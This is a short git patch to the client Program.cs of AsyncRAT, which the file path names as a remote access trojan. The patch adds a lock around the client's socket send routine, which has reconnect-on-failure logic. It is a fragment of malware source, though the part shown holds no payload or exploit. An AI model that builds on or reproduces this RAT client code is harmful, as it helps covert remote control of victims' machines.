From 247b310434a3d5987831c0f782630f34f2badd73 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 27 Jan 2019 09:04:31 -0800 Subject: [PATCH] Update Program.cs --- AsyncRAT-C#/Client/Program.cs | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index fd14d16..4eca3d5 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -232,24 +232,27 @@ namespace Client public static void BeginSend(byte[] Msgs) { - if (Client.Connected) + lock (Client) { - try + if (Client.Connected) { - using (MemoryStream MS = new MemoryStream()) + try { - byte[] buffer = Msgs; - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); - MS.Write(buffersize, 0, buffersize.Length); - MS.Write(buffer, 0, buffer.Length); + using (MemoryStream MS = new MemoryStream()) + { + byte[] buffer = Msgs; + byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); + MS.Write(buffersize, 0, buffersize.Length); + MS.Write(buffer, 0, buffer.Length); - Client.Poll(-1, SelectMode.SelectWrite); - Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); + Client.Poll(-1, SelectMode.SelectWrite); + Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); + } + } + catch + { + Reconnect(); } - } - catch - { - Reconnect(); } } }